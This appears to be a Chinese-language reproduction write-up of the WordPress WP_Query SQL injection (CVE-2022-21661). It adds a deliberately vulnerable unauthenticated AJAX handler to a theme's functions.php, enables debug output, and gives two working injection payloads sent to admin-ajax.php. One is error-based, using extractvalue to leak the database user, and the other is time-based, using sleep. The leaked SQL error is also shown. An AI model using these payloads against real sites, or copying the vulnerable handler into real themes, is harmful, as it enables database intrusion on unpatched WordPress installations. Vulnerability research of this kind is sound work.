Word Press核心框架WP_Query SQL注入漏洞
0x00 概述
Wordpress它是世界上 最常用的开源CMS之一,在允许开发者自己构建插件和主题来管理网站的时候,由于它的便利性而被大量使用,wordpress的核心会提供插件/主题的功能来调用和使用wordpress提供的数据格式、查询数据库等功能。2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。Wordpress的核心部分发现了一个SQL Injection漏洞,最近Wordpress也发布了针对这个错误的补丁。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。
0x01 影响范围
WordPress v4.1~v5.8.2
0x02 漏洞重现
测试环境:CentOS 7 + 宝塔(PHP 7.0 + a Nginx 1.21.0 )+ WordPress 5.8.2 + Chrome+Hackbar
增加代码在以下路径 \wp-content\themes\twentytwentyone\functions.php
1 2 3 4 5 6 7 8 9 10 11
| function wp_query_test(){ echo 'test-cve-2022-21661';
$inputData = stripslashes($_POST['data']); $jsonDecodeInputData = json_decode($inputData,true); $wpTest = new WP_Query($jsonDecodeInputData); wp_die(); }
add_action('wp_ajax_nopriv_test','wp_query_test',0);
|
开启Debug
修改\wp-config.php
注释:
添加:
1 2 3 4 5 6
| ini_set('log_errors','On'); ini_set('display_errors','On'); ini_set('error_reporting', E_ALL ); define('WP_DEBUG', true); define('WP_DEBUG_LOG', true); define('WP_DEBUG_DISPLAY', true);
|
请求URL http://10.1.1.6/wp-admin/admin-ajax.php
Body:
1
| action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
|

报错语句:
1
| SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND ( wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#) ) AND wp_posts.post_type IN ('post', 'page', 'attachment') AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending') GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10
|
未开启Debug
可以使用的延时sqli的poc:
1
| action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}
|
0x03 参考资料
https://xz.aliyun.com/t/10841#toc-7
https://blog.csdn.net/qq_46717339/article/details/122431779